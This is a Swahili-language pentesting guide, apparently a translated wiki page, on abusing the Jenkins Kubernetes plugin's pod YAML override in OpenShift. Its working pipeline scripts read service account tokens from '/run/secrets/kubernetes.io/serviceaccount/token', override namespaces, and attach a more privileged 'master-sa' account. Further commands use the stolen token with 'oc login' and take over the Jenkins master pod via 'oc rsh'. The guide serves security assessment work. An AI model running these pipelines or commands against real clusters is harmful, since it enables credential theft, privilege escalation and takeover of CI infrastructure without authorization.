Jenkins katika Openshift - urekebishaji wa pod ya kujenga
Reading time: 4 minutes
Mwandishi wa awali wa ukurasa huu ni Fares
Kijazaji cha Kubernetes kwa Jenkins
Kijazaji hiki kinawajibika hasa kwa kazi za msingi za Jenkins ndani ya klasta ya openshift/kubernetes. Hati rasmi hapa Inatoa kazi chache kama vile uwezo wa waendelezaji kubadilisha baadhi ya mipangilio ya kawaida ya pod ya kujenga jenkins.
Kazi ya msingi
Kijazaji hiki kinatoa ufanisi kwa waendelezaji wanapojenga msimbo wao katika mazingira yanayofaa.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Baadhi ya matumizi mabaya yanayotumia pod yaml override
Hata hivyo, inaweza kutumika vibaya kutumia picha yoyote inayopatikana kama Kali Linux na kutekeleza amri zisizo na mipaka kwa kutumia zana zilizowekwa awali kutoka kwa picha hiyo. Katika mfano hapa chini tunaweza kutoa token ya serviceaccount ya pod inayotembea.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Sintaksia tofauti kufikia lengo sawa.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Mfano wa kubadilisha jina la eneo la pod
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Mfano mwingine unaojaribu kuunganisha akaunti ya huduma (ambayo inaweza kuwa na ruhusa zaidi kuliko ile ya default, inayoendesha ujenzi wako) kulingana na jina lake. Unaweza kuhitaji kukisia au kuhesabu akaunti za huduma zilizopo kwanza.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Ile mbinu hiyo hiyo inatumika kujaribu kuunganisha Siri. Lengo kuu hapa litakuwa kubaini jinsi ya kuunda ujenzi wa pod yako ili kuweza kuhamasisha au kupata mamlaka.
Kuenda mbali zaidi
Mara tu unapozoea kucheza nayo, tumia maarifa yako kuhusu Jenkins na Kubernetes/Openshift kutafuta makosa ya usanidi / matumizi mabaya.
Jiulize maswali yafuatayo:
- Ni akaunti gani ya huduma inayotumika kupeleka pod za ujenzi?
- Ni majukumu na ruhusa gani ina? Inaweza kusoma siri za eneo la jina nililomo sasa?
- Naweza kuhesabu zaidi pod nyingine za ujenzi?
- Kutoka kwa sa iliyoathirika, naweza kutekeleza amri kwenye nodu/pod ya bwana?
- Naweza kuhesabu zaidi klasta ili kuhamasisha mahali pengine?
- Ni SCC gani inayotumika?
Unaweza kubaini ni amri zipi za oc/kubectl za kutoa hapa na hapa.
Mifano ya privesc/pivoting inayowezekana
Tuchukulie kwamba wakati wa tathmini yako uligundua kuwa ujenzi wote wa jenkins unakimbia ndani ya eneo la jina linaloitwa worker-ns. Uligundua kuwa akaunti ya huduma ya kawaida inayoitwa default-sa imeunganishwa kwenye pod za ujenzi, hata hivyo haina ruhusa nyingi isipokuwa ufikiaji wa kusoma kwenye baadhi ya rasilimali lakini ulishaweza kubaini akaunti ya huduma iliyopo inayoitwa master-sa. Tuchukulie pia kwamba una amri ya oc iliyosakinishwa ndani ya kontena la ujenzi linalokimbia.
Kwa skripti ya ujenzi iliyo hapa chini unaweza kuchukua udhibiti wa akaunti ya huduma ya master-sa na kuhesabu zaidi.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Kulingana na ufikiaji wako, unahitaji kuendelea na shambulio lako kutoka kwa script ya kujenga au unaweza kuingia moja kwa moja kama sa kwenye klasta inayotembea:
oc login --token=$token --server=https://apiserver.com:port
Ikiwa sa hii ina ruhusa za kutosha (kama vile pod/exec), unaweza pia kuchukua udhibiti wa mfano mzima wa jenkins kwa kutekeleza amri ndani ya pod ya nodi kuu, ikiwa inafanya kazi ndani ya jina moja. Unaweza kwa urahisi kutambua pod hii kupitia jina lake na kwa ukweli kwamba lazima iwe inachomeka PVC (persistant volume claim) inayotumika kuhifadhi data za jenkins.
oc rsh pod_name -c container_name
Ikiwa pod ya nodi mkuu haiko ikifanya kazi ndani ya namespace sawa na wafanyakazi, unaweza kujaribu mashambulizi sawa kwa kulenga namespace ya mkuu. Tuone kama inaitwa jenkins-master. Kumbuka kwamba serviceAccount master-sa inahitaji kuwepo kwenye namespace ya jenkins-master (na inaweza isikuwepo kwenye namespace ya worker-ns)